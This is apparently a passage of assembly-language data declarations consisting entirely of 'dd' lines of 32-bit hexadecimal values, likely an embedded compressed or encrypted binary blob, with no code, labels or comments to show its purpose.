		dd 0B7241E79h, 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh
		dd 891A0010h, 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h
		dd 0A98D00FEh, 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh
		dd 0CBCC734Ch, 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h
		dd 7C27785Eh, 4C0081A9h, 0B22B1ED9h, 3B8352C0h,	0BD0088DAh
		dd 0B3ABFE59h, 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h
		dd 0AF81EA92h, 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh
		dd 500EB3Bh, 570F01B5h,	0C282Ch, 92049EC8h, 0CCE40DC9h
		dd 0EE063Ch, 10D008D4h,	0F831FCh, 1DD87D89h, 59226421h
		dd 0AC1F34F8h, 0F60080E0h, 528AACBh, 0BCD400C8h, 0B3E81662h
		dd 0BE002B24h, 0D01EBA19h, 7E33D802h, 2C050049h, 0EB63D759h
		dd 32002126h, 0F21E6FCCh, 2C1CC851h, 8E0BF7h, 2331716Ah
		dd 600159Bh, 0E14CBA84h, 0D2CBFAh, 0CE2824Bh, 779808DAh
		dd 9A0B2700h, 3B42D6D3h, 9FB0ACh, 6759C2C8h, 5CD42630h
		dd 9600DEFAh, 1B88CCE8h, 0DC7EADh, 50E94151h, 0FBFE7DBh
		dd 0BCDE6300h, 440C70B1h, 94EF0361h, 0A82414E3h, 2010709Fh
		dd 0AC0040B0h, 39B481B8h, 0F85BC5h, 0B6BE24FCh,	0DC224972h
		dd 20581D73h, 0A4AD004Eh, 19FA1E82h, 0E00200B8h, 0B449DC3Bh
		dd 0D2732D16h, 36C5Ch, 71CF4691h, 28AC29h, 2EB6704Fh, 0BE18A867h
		dd 9AC3B216h, 6900911Fh, 22291646h, 24AD0164h, 0D81B996Fh
		dd 0B6E0DE51h, 505BAA8h, 64F9E3ECh, 0F195A50Ah,	54189107h
		dd 8F200DBh, 1FD84293h,	814EB914h, 89D2D0B2h, 0CC1C9E64h
		dd 988603FDh, 0C80A91D9h, 53AE5Bh, 175874DBh, 0EF0B4A4Eh
		dd 0FF9CF018h, 0EC7552h, 185F8068h, 0F4E363C1h,	0E02BA00h
		dd 1E4E1077h, 0E48C01AFh, 18A7F660h, 2030D914h,	0E1752A88h
		dd 4C7C7175h, 0FA80DC01h, 820643BAh, 8C68DCh, 0B33242Bh
		dd 2CD247B9h, 42621900h, 0C9DC21AEh, 0CED72673h, 0B2900085h
		dd 430C967Bh, 7D3C2D7Dh, 8010B977h, 22FFD392h, 0C08368h
		dd 0F31FB078h, 0CEDBF603h, 0BACF1B00h, 40AF3F13h, 87B600B2h
		dd 0D7E7F40Bh, 4C0092DFh, 11D46D0h, 0F87032h, 0F4F15DD5h
		dd 0EC933C2h, 0A9CAD200h, 29AF6A84h, 2A811238h,	0C3050102h
		dd 0C9109E43h, 8722703Fh, 0F5933Fh, 8F060F38h, 3BE30811h
		dd 1680FA0Ah, 0B4F845B7h, 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh
		dd 7CB091E6h, 5C0E479Ch, 79535400h, 694C0901h, 31500062h
		dd 736DC81Eh, 0F3030C5Ah, 0FF2593CCh, 1D8BD856h, 0A953023Eh
		dd 7D04BFD9h, 95746240h, 75EFFB0Eh, 1A02610Ch, 81F59868h
		dd 8BECF4h, 0EB124DD3h,	0EECFF34Bh, 5F4A4800h, 0FC555280h
		dd 25C13BB8h, 934BE880h, 0D01603Ah, 9F761C00h, 45283EE9h
		dd 0A9440006h, 2714914Fh, 2500F823h, 0E5EA6BABh, 7421396h
		dd 124756DBh, 6CD18053h, 78001B76h, 9CB9A1C2h, 28D745h
		dd 954E4F1Fh, 0AC841D68h, 2299A200h, 0DFE68B71h, 903A7896h
		dd 645C00D7h, 0D98F04ECh, 51007509h, 0FCF01440h, 0ECEBB2E4h
		dd 8C5B015Fh, 8464BDFh,	63DECE6h, 4253B00h, 0DB19C1D0h
		dd 0EC0200EBh, 78B9F6FFh, 2D000DF7h, 2CC4F43Ah,	0B89DAAh
		dd 3358DD7Bh, 20BEC529h, 624CB207h, 145013E6h, 35BE82Dh
		dd 8DB86104h, 80EDAD2Fh, 6890DD1h, 4938F800h, 5328BAC6h
		dd 0CB150A91h, 0AC318Bh, 3FB833Fh, 0C006076h, 9BE848D2h
		dd 24C518h, 9C098940h, 0B01F0456h, 7E2B1425h, 9A8D00CDh
		dd 0BA1A8626h, 0E6313800h, 0F4C2CA93h, 82240394h, 29B2F972h
		dd 0AF051B0h, 26DB2200h, 9317E83h, 0F22B3D74h, 0A54E7980h
		dd 9B20B425h, 874F987Fh, 1A2C4DBCh, 0A9C70040h,	91DC45C9h
		dd 804D073Bh, 8A032D2h,	7C701094h, 0E4A82C5Ch, 85E80085h
		dd 38BFB2B0h, 5F8BA400h, 14AFB7D6h, 98C800BAh, 85903B8Ah
		dd 0FF002175h, 66FF9BCh, 4C4E1E96h, 61008BDEh, 122BC667h
		dd 0E8FBF687h, 9F3C1043h, 0B2B78B55h, 0A08F006Fh, 29EAA5h
		dd 0C4363240h, 212DB350h, 0C671F39h, 0E2E165Ah,	22F86Ch
		dd 0D23CD34Eh, 0B8F84883h, 0A1B301Ch, 90167343h, 0B40CD8C5h
		dd 0B2440013h, 573ED36Eh, 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h
		dd 12532E4Ch, 295C0097h, 73D06630h, 2C03B3F0h, 2116D3A2h
		dd 545B8D8h, 0FFDD00D2h, 0C743759Ch, 0A90E1048h, 0AF490F26h
		dd 5C6E05ADh, 0AC0C0680h, 7C477574h, 9251EE4h, 37B30FB9h
		dd 0C26308A7h, 8940A2D6h, 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h
		dd 0E08480A8h, 0B5165CB3h, 63210069h, 0ECFC6579h, 9400478Dh
		dd 542DF450h, 7F5ABAF0h, 65B60026h, 0D04351BFh,	0C6000AB2h
		dd 2B610B8Bh, 0E1B510h,	559D8A6h, 0E6A8C4Ah, 0B7D49C00h
		dd 0BCCDA06Bh, 7AC40E11h, 9A6FA3B5h, 70F1DBC7h,	6EC2AA1Bh
		dd 7D549D00h
		dd 83DE9ECFh, 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h
		dd 394F73C0h, 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh
		dd 8492D00Ch, 0B85D3207h, 89C9B412h, 26AA00FAh,	82EFF4h
		dd 51CE7D8Dh, 0FDC39257h, 6642411Eh, 21F34C47h,	387EBC7Ch
		dd 0BF00493Eh, 19EBE8D2h, 0A800C3BEh, 0B48EA30Eh, 9E2FACh
		dd 1DA6759Fh, 42485536h, 62034BF8h, 0D89B545h, 44A9D06Dh
		dd 0A5CE0191h, 22D725BFh, 0B8AFC47h, 0AC644A00h, 0F819F669h
		dd 0A829001Ah, 0DF54E20h, 7BB8BA2Ch, 3F6051ECh,	0BE80D616h
		dd 105E0BB9h, 28808875h, 0CCAB85FBh, 0D6502607h, 0E71FE031h
		dd 558044BEh, 3E25D2F4h, 74047864h, 0C0A040FBh,	0F02E13D3h
		dd 0D8482AE8h, 48CD0076h, 9559B745h, 0E2050078h, 0C1BAD5B8h
		dd 5400F8DCh, 0E18ED34Ah, 2EC4694Bh, 0C19062h, 88792B52h
		dd 650078BFh, 80C1B0B7h, 107EBh, 3A740472h, 7D956E67h
		dd 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah, 4DD78970h
		dd 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h, 20E6305h
		dd 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh, 0FDA5E7C0h
		dd 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh, 4A97892Bh
		dd 1835B59h, 8E1CC778h,	700AFB45h, 0C90013BBh, 4B7E0D0h
		dd 2659FA5Fh, 0DE010Dh,	0E7557C8Ah, 0E8074284h,	5319A76Bh
		dd 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh, 0A7E2F03h
		dd 9880E10Fh, 0F94594h,	15086EEBh, 81C49610h, 67D38600h
		dd 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h, 0B000998h
		dd 3E7DF03Bh, 0FA4178h,	0B838147Fh, 48A08203h, 0D4287528h
		dd 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh,	60DC68C2h
		dd 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h,	0B897304Ah
		dd 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h,	0C8460048h
		dd 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h, 0B8A20F44h
		dd 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h, 1326FE9h
		dd 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh, 0A72B20D1h
		dd 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h, 0DDCAEF01h
		dd 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h, 0BE4A2FFh
		dd 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah,	4E47C14Bh
		dd 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h, 95030097h
		dd 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h,	36C85E8h
		dd 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h, 0C8F8910Eh
		dd 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh,	3E73E700h
		dd 1B094892h, 0D67B16h,	0BEB5205Fh, 6F67699Dh, 2F652500h
		dd 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h, 2DDAC408h
		dd 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h, 0AEA4772Fh
		dd 1174A03Dh, 0B239CBh,	0EB057D0Bh, 0FF35EFAAh,	4831B800h
		dd 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h,	0D88831FFh
		dd 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h, 528EBCF0h
		dd 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh, 7500DB83h
		dd 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h,	0FC7B0A00h
		dd 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh, 10AE7B00h
		dd 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h, 0AE000AC5h
		dd 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h,	0BC59C0BEh
		dd 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh, 5728D152h
		dd 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h, 8FB64B8Eh
		dd 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah, 5161DA4Bh
		dd 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh, 5F72014Eh
		dd 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch,	0D37330h
		dd 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh, 0ABF300E5h
		dd 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h, 63C817ACh
		dd 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h,	0E0C7007Ch
		dd 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h, 16DF95E3h
		dd 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h, 78C749B8h
		dd 6307C2F0h, 6240F8Bh,	0C5D404BAh, 0DABF3000h,	8DFB0228h
		dd 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch, 0D530B700h
		dd 0CAC0237Ch, 25F74Ch,	0F64C9B90h, 0B00507h, 0AFECE901h
		dd 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h, 9EEDF49Dh
		dd 283C3043h, 48080400h, 200C112Ch, 10440114h, 66D38318h
		dd 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh, 2E3A4D09h
		dd 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h,	0AB770029h
		dd 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h,	0C300DF29h
		dd 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h, 8013BF7Bh
		dd 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h,	0AE8E2ADh
		dd 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h, 7D0CC5EBh
		dd 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh, 8F00BB98h
		dd 51057724h, 49BAFFh, 88B04876h, 427A92A2h, 0BF01EA07h
		dd 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh, 0DB80600h
		dd 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h, 0F4007FDEh
		dd 13B2F628h, 306614A9h, 602AE89Dh, 32037273h, 85FC15C8h
		dd 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h, 0C004277h
		dd 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h, 7C00C53Ah
		dd 45491926h, 1602546h,	4CBAC38Ch, 0DCB49535h, 0F7F420F8h
		dd 4301200h, 16344828h,	1F722Ch, 93FC4978h, 9A2F58A0h
		dd 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh,	3B46F200h
		dd 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h, 53449FD0h
		dd 86260E8h, 5AC07473h,	0FA9DD29h, 0D5800714h, 0A0240BC9h
		dd 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh, 76EB3B32h
		dd 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh, 75242789h
		dd 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h, 0C3401D16h
		dd 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch, 18151048h
		dd 0B975A775h, 7208F600h, 277C432Dh, 28393A29h,	0BF1C4412h
		dd 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h,	5E079849h
		dd 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h,	0B100EA42h
		dd 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h, 47763196h
		dd 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh, 7542AF00h
		dd 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h,	681574C5h
		dd 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h,	0AFB13B25h
		dd 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh, 0F0141BAEh
		dd 810B00A6h, 0F73002B0h, 71009735h, 88930839h,	2E03117h
		dd 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh,	75027600h
		dd 24B82Fh, 0FA4CFD63h,	930447B5h, 27F22000h, 21AF7819h
		dd 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h, 6E9F18h
		dd 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h,	1D08F9D7h
		dd 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h, 9167AB30h
		dd 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh,	0EF560441h
		dd 7102C7Fh, 6032C824h,	68C0DE09h, 70916C48h, 54770271h
		dd 0BDB0901Fh, 22C81FBDh, 15E2E100h, 2CF0CC2h, 4409F806h
		dd 0D7C0086Ch, 313F744Ch, 32D08303h, 0EB3FC618h, 64C4A030h
		dd 0FA88E66Fh, 80330031h
		dd 0FD98C81Fh, 0FCE5FA10h, 0E8FAC1D9h, 1EF7620Fh, 22C780DCh
		dd 6E342174h, 0B8010C6h, 0A478B341h, 5000307Bh,	0C81EF9C7h
		dd 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h,	0DC109400h
		dd 5FC86070h, 524F1F58h, 7836C026h, 0EC6CBC95h,	4EEE4B0h
		dd 80EF1B0h, 20118F0Ch,	0A052431Ch, 0E06B25EDh,	64132BFEh
		dd 54B07F01h, 0A02F8625h, 0A12C252h, 35030FC3h,	85E36798h
		dd 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h, 6F486EC1h
		dd 8A058902h, 0BDE07549h, 44073848h, 3B431513h,	17CB0F30h
		dd 9DF50120h, 0FA5F7442h, 5DD82046h, 0FDC64A00h, 13BC4F03h
		dd 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h, 98E28025h
		dd 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h, 0CBBCC85Fh
		dd 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh,	7B5806A0h
		dd 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh,	3D5ECD5h
		dd 75045F60h, 0E0CF003Ah, 0EDE7C1F9h, 0C700E9CCh, 8DF5C378h
		dd 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h, 0F8F5C7CDh
		dd 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h, 8AFA1C9h
		dd 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h, 2EF82F22h, 0E45ADF3h
		dd 3E07A01h, 3A96B3DFh,	0EB981307h, 0DA900B0Dh,	1F437329h
		dd 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh, 2C915477h
		dd 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h, 0BE210B3Ch
		dd 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h, 0B703841Ah
		dd 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch, 622025CFh
		dd 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h, 80A89195h
		dd 0C5812Ah, 5A827999h,	7FAE037Ah, 0CCA24200h, 369D86EEh
		dd 0C8C00B7h, 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h
		dd 52C63F1Bh, 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h
		dd 0DDA905D1h, 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h
		dd 342200A6h, 46A2F82h,	8800A495h, 4178C646h, 91085B8h
		dd 436DAC14h, 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h
		dd 0F286D2E8h, 59FCF3D8h, 11A7EEAh, 2B1864E5h, 30C3113Ch
		dd 2330B9CFh, 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h
		dd 0F87C84A7h, 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h
		dd 22D04334h, 64B0B8h, 0EC1BF1A2h, 831F3C32h, 0C7813A07h
		dd 6E10D9A1h, 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h
		dd 601F5389h, 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h
		dd 0A56CE907h, 67B88D34h, 14D60818h, 3E02D31Ah,	0E987ABF0h
		dd 800F7BB1h, 94E21A11h, 437C9C00h, 0C4A3887Eh,	0CB381F28h
		dd 64BCDE8Dh, 0EE80751h, 750B0C8h, 0F39087ACh, 8BFA683Ah
		dd 0FC91F08h, 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h
		dd 5A83EC0Ah, 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h
		dd 4314001Ch, 4152A2E0h, 5100C2E9h, 0FF33F81Fh,	3F990h
		dd 52EE5D7h, 5EE2C189h,	527C4Ch, 12414B4h, 348504Ah, 4C425A06h
		dd 84C37210h, 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h
		dd 0C08A1EC1h, 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h
		dd 0E676045h, 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h
		dd 10324476h, 0E1F05800h, 8100C3D2h, 22EEEF5Ch,	3600EC0h
		dd 0FEDCBA98h, 10E06480h, 8901ABCDh, 45676802h,	6CC00123h
		dd 2D1E000Fh, 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh
		dd 3FE03B18h, 3440702h,	7E08008h, 7E0038F8h, 2B6FA81Eh
		dd 18D6BD0h, 0E633F525h, 0F4D553DBh, 1A007E29h,	761451FFh
		dd 311E95h, 0FAE0C183h,	0D82F707Fh, 800CB338h, 146C6BDFh
		dd 0EA9AAC55h, 8BFC40h,	0DD8192C4h, 7245618Ah, 95D5BE00h
		dd 552DD3FEh, 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh
		dd 5E76013Fh, 3520D7FAh, 7B74BF54h, 0DF3B07FDh,	0A08D107Dh
		dd 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h, 24A91229h,	3B51064h
		dd 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h
		dd 62C2BD7Ch, 20831D98h, 0EB00EAB3h, 8CFB069Dh,	4DEC7Dh
		dd 6FC56A03h, 67FF6951h, 0BDA71801h, 86B62C14h,	0E46A1670h
		dd 0E4E80009h, 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h
		dd 0E16600FAh, 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h
		dd 0F93C0C20h, 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h
		dd 4C33A91Ch, 0F101188h, 0F87C7E0Fh, 7DAB40FDh,	0BDCE17h
		dd 0A9F047C1h, 234E9C24h, 4BE2600h, 81664CCh, 30F070Ah
		dd 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h, 4610DE70h,	6714C1BEh
		dd 147870h, 87C62A01h, 52F13547h, 34978C00h, 90CC8523h
		dd 13040018h, 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h
		dd 0BCAF0390h, 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h
		dd 7AF701AFh, 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh
		dd 0F00FAAD8h, 24BE022Ch, 1E905CD7h, 3B10C065h,	30C485BFh
		dd 11220107h, 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh
		dd 0FD987193h, 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h
		dd 0B3CF9C0h, 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h
		dd 0A8F61Eh, 4518E869h,	58C4CB1h, 0CE0D8007h, 40BE408Eh
		dd 0C050B372h, 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch
		dd 0DD265E5Ah, 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h
		dd 0AA984ED3h, 4CE9B640h, 9600D7D2h, 97801DCFh,	0FB017204h
		dd 290C0514h, 5DC0F28Bh, 0D62F3010h, 9888A3E8h,	285138h
		dd 42441453h, 0BB42302h, 5729B7C4h, 0A1E66601h,	99E5F0D8h
		dd 0BBB8B00h, 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h
		dd 8C2B46DEh, 95C05285h, 721E1CDh, 1EB22FC2h, 82BA79h
		dd 710D638h, 8478C337h,	43126CFCh, 7C00CF47h, 0D50D8708h
		dd 3E71EAF4h, 0C18F42ACh, 4E01017h, 455A14EDh, 623094FCh
		dd 2341B6Ah, 63E90205h,	0BB198C6Eh, 44B0D5C0h, 0F8010803h
		dd 0B0FCEFA3h, 1C108FCCh, 1CA2CFh, 676F02D9h, 0C09FD81h
		dd 0E485D3h, 2A4C8A18h,	1F20EA8Dh, 40F608B3h, 420490EFh
		dd 0FF7BFA39h, 1711A100h, 2BA09DC2h, 8AD01C3Bh,	0F6E4C1AAh
		dd 0E0877129h, 0B3006609h, 0B40B794h, 7D04C55h,	6122E02Bh
		dd 856DA39Dh, 0E2B5ADD0h, 700E1000h, 0C0738A2h,	0A0E50045h
		dd 0B34EA61Ah, 170E232Ch, 0E0330981h, 0BEEA44C1h, 845801A4h
		dd 0BF10879Bh, 0A9A940A2h, 4B2EDE72h, 0D9895611h, 60C10744h
		dd 0A9F6BBA3h, 9A20AE09h, 70020728h, 51BEBFBCh,	401FB42Ah
		dd 7EC604A4h, 61289B1Eh, 110BC340h, 993D143h, 27FAEF41h
		dd 83488E82h, 1641A1E2h, 1BCEFC5Ch, 30850400h, 8C0AD4EFh
		dd 7FF9083h, 1D100518h,	0AD21F088h, 39E024F9h, 46D4D00Fh
		dd 0C4A240D9h, 18874C6h, 9914E5CFh, 0E084E6DBh,	0E003D1F1h
		dd 0F43C200Ah, 1FA2A07Ch, 0AF103F21h, 65000838h, 0C440AC56h
		dd 0B5714331h, 44E64101h, 86F42922h, 0B9D15F4h,	0EE5BCC0Ch
		dd 2063F00h, 0B924D249h, 97000185h, 435F2AFFh, 0BF60041h
		dd 4AB278E9h, 0A002087h, 0C9D2682Eh, 0F223A770h, 0C59094h
		dd 15D01747h, 0FC889ECh, 0A2111013h, 0A0398E00h, 0E03093h
		dd 0D27E6AE9h, 90E804F0h, 9AD8C400h, 280B8115h,	0C3E00055h
		dd 65405B59h, 8C1FA5A1h, 0C40D544h, 0EACC9280h,	0F71988Fh
		dd 0F4E4B304h
		dd 7D818EBFh, 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h
		dd 1C109E42h, 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h
		dd 0E064C039h, 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h
		dd 8CAC3AA3h, 34B2B380h, 8D2A107h, 96044E00h, 9017A832h
		dd 1F82EE10h, 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h
		dd 8987B41Ch, 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch
		dd 90C052BDh, 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh
		dd 0C78C9B61h, 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h
		dd 2E4051E2h, 0F91BF4h,	641545Ah, 7CFD5852h, 0A64ABE05h
		dd 0FAFC3Fh, 11A7B4EBh,	0BBE40B20h, 0FA44D400h,	2DBEA4FEh
		dd 921600EEh, 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h
		dd 78EA10F6h, 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h
		dd 0BCE87300h, 4C46DA9Dh, 3F97F51h, 85D53A97h, 0CB8238Ch
		dd 0C800EACAh, 4A1FE97Dh, 1F4C37C7h, 4E1411F8h,	0EA832BFAh
		dd 0D7D07881h, 100F598Ch, 67AE5087h, 49001E97h,	3F8A5CD5h
		dd 0EB302BFBh, 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h
		dd 17BD71Fh, 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh
		dd 76173E09h, 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h
		dd 52D63C02h, 7A84280Eh, 800E83B6h, 0E487D866h,	0A304002Ch
		dd 810F38B4h, 8EDF1B11h, 230B280h, 71CB5CEh, 8D1A0640h
		dd 59A08F88h, 46CD1834h, 720C81Dh, 8D001913h, 1709403Ch
		dd 0F2D73B43h, 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h
		dd 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h
		dd 60D0EA4Eh, 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h
		dd 0BE76FA22h, 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh
		dd 9E6C4027h, 0A54AFFh,	6DB69773h, 481A0D40h, 0B807D800h
		dd 0F2A29DFEh, 12A30017h, 2F283791h, 0B0FCD6Ch,	58D85380h
		dd 0A0A34EC0h, 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h
		dd 99A11907h, 0D4D9F4D0h, 0C374C00h, 9ECB1393h,	0A0ADFCAh
		dd 0EA21E30h, 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh
		dd 0CF0561DFh, 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh
		dd 623EECC5h, 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h
		dd 386412h, 0FCDA4642h,	0A54C433Dh, 0DF10709h, 0FB17701h
		dd 38EC74C4h, 7C8B020h,	6214230Ch, 1CE5E0BFh, 1EE24EA7h
		dd 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh
		dd 0D32472DAh, 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh
		dd 953B9D01h, 0F234675Ch, 4E0360h, 0CEA71FDBh, 85719C1Dh
		dd 0BB8DE805h, 98063CCAh, 3228025h, 776E2713h, 0A6C8E802h
		dd 3300E90Ch, 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h
		dd 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh,	0C48773AEh
		dd 4400040Fh, 8233FDCh,	0FBC8C42h, 78C21259h, 1C941F60h
		dd 0A472A7FFh, 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh
		dd 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h
		dd 6A1A04A3h, 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh
		dd 0EC210C11h, 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h
